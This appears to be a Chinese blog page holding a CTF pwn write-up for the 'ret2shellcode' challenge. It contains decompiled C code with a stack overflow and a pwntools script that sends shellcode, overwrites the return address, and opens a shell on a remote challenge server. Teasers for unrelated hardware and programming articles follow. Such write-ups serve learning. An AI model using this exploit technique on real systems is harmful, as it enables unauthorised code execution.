news 2026/4/18 8:42:41

[HNCTF 2022 Week1]ret2shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[HNCTF 2022 Week1]ret2shellcode

第一次打CTF——PWN篇学习笔记17

int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF ​ setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }

checksec一下没有特殊的保护机制,程序先把stdout所在的内存页变成可读可写可执行,然后read一下发生栈溢出再将s的内容拷贝到buff中,因此我们可以构造payload使其前部分为没有'\0'的shellcode,接着覆盖返回地址到buff来执行shellcode从而获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./shellcode') io = remote("node5.anna.nssctf.cn",23229) ​ buff = 0x4040A0 ​ shellcode = asm(shellcraft.sh()) ​ payload = shellcode.ljust(0x100 + 8,b'A') + p64(buff) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 4:21:41

RK3568芯片复位电路避坑指南:上下电时序引发的外设异常探秘

RK3568 芯片简介与应用场景 RK3568 是瑞芯微推出的一款面向智能终端、工业控制、边缘计算、网络通信等领域的中高端通用型处理器芯片 ,采用 22nm 制程工艺,具备出色的性能与丰富的功能。其四核 ARM Cortex-A55 处理器,主频最高可达 2.0GHz,搭配 ARM Mali-G52 2EE GPU,为设…

作者头像 李华
网站建设 2026/4/16 11:48:10

RK3588+Linux+QT+AI推理实战:解锁AI摄像头完整方案

引言 在人工智能与物联网飞速发展的当下,AI 摄像头作为智能感知的前沿设备,正广泛应用于安防监控、工业检测、智能交通等众多领域。将 RK3588、Linux、QT 和 AI 推理融合,为打造高性能、智能化且具备友好交互界面的 AI 摄像头系统提供了卓越方案。RK3588 凭借其强大的算力,…

作者头像 李华
网站建设 2026/4/11 21:21:06

《Effective Java》第25条:限制源文件为单个顶级类

说明: 关于本博客使用的书籍,源代码Gitee仓库 和 其他的相关问题,请查看本专栏置顶文章:《Effective Java》第0条:写在前面,用一年时间来深度解读《Effective Java》这本书 正文: Java允许我…

作者头像 李华
网站建设 2026/4/18 1:41:35

webpack原理和打包过程,与vite的区别

Webpack 原理与打包过程详解1. Webpack 核心概念1.1 核心模块const webpackCore {entry: "入口文件", // 构建起点output: "输出配置", // 输出位置loader: "文件转换器", // 处理非JS文件plugin: "扩展功能"…

作者头像 李华